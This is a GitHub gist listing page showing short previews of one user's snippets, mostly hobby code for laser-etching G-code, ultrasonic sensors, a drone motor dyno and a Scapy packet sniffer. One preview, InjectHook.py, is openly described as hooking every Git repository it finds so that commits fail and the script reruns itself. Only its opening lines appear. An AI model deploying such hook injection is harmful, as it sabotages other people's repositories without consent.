Skip to content

Instantly share code, notes, and snippets.

@dreilly369
dreilly369 / gcode_post.py
Created June 26, 2020 07:10
post processor for FlatCAM NC files to make them work better for laser etching circuit boards.
# -*- coding: utf-8 -*-
from optparse import OptionParser
from os import path
"""
Quick and dirty script to edit FlatCAM NC files to make them work better for
laser etching circuit boards.
"""
new_lines = []
@dreilly369
dreilly369 / FindGitHooks.py
Created January 17, 2019 01:13
Find potentially active Git Hooks and print their SHA256 value
import os
import hashlib
import json
def sha256sum(filename):
h = hashlib.sha256()
b = bytearray(128*1024)
mv = memoryview(b)
with open(filename, 'rb', buffering=0) as f:
for n in iter(lambda : f.readinto(mv), 0):
@dreilly369
dreilly369 / InjectHook.py
Created January 16, 2019 23:58
Find and hook Git Repositories. Kills the ability to commit and instead reruns itself. By default will only hook once and only the pre-commit hook.
# -*- coding: utf-8 -*-
import os
import subprocess
def hook_git(once=True, hookonlysamples=None, onlyhook="pre-commit"):
print("Collecting Repos")
to_me = os.path.abspath(__file__)
insert_string = "/usr/bin/python3 %s &\nexit 1" % to_me
repos = []
for root, dirs, files in os.walk("/"):
@dreilly369
dreilly369 / MultiSonar.cpp
Created December 3, 2018 20:20
Multi HCSR04 Example
/*
Used to read HC-SR04 Ultrasonic Range Sensor(s)
This sketch reads one or more ultrasonic rangefinders and adds the results in cm
to an array which can be read. The result order is the same as the order the
sensor pins are defined in. You must define an adjustment for each sensor
(even if it is 0). this adjustment moves '0' cm some number of cm in front of the
sensor.
*/
#include "Sonar.h"
#include "Arduino.h"
@dreilly369
dreilly369 / HCSR04.py
Created December 3, 2018 02:12
Simple Python 3 test of the HC-SR04 module on Raspberry Pi
import RPi.GPIO as GPIO
from time import sleep, time
# RPi Setup stuff
GPIO.setmode(GPIO.BCM)
trig = 23
echo = 24
GPIO.setup(trig, GPIO.OUT)
GPIO.setup(echo, GPIO.IN)
GPIO.output(trig, False)
@dreilly369
dreilly369 / drone_dyno.py
Created October 27, 2018 00:29
Drone motor Dyno
import math
import numpy as np
import matplotlib.pyplot as plt
from optparse import OptionParser
from random import choice
import matplotlib.colors as mcol
import matplotlib.cm as cm
# Blade pitch acts much like the gearing of the final drive of a car. Low
# pitch yields good low speed acceleration (and climb rate in an aircraft)
# while high pitch optimizes high speed performance and economy.
@dreilly369
dreilly369 / ScapySniffer.py
Created April 27, 2017 06:55
Scapy Based Network Sniffer
from scapy.all import *
from optparse import OptionParser
import threading
import signal
import sys
# Globals
packet_count = 0
INTERFACE = ""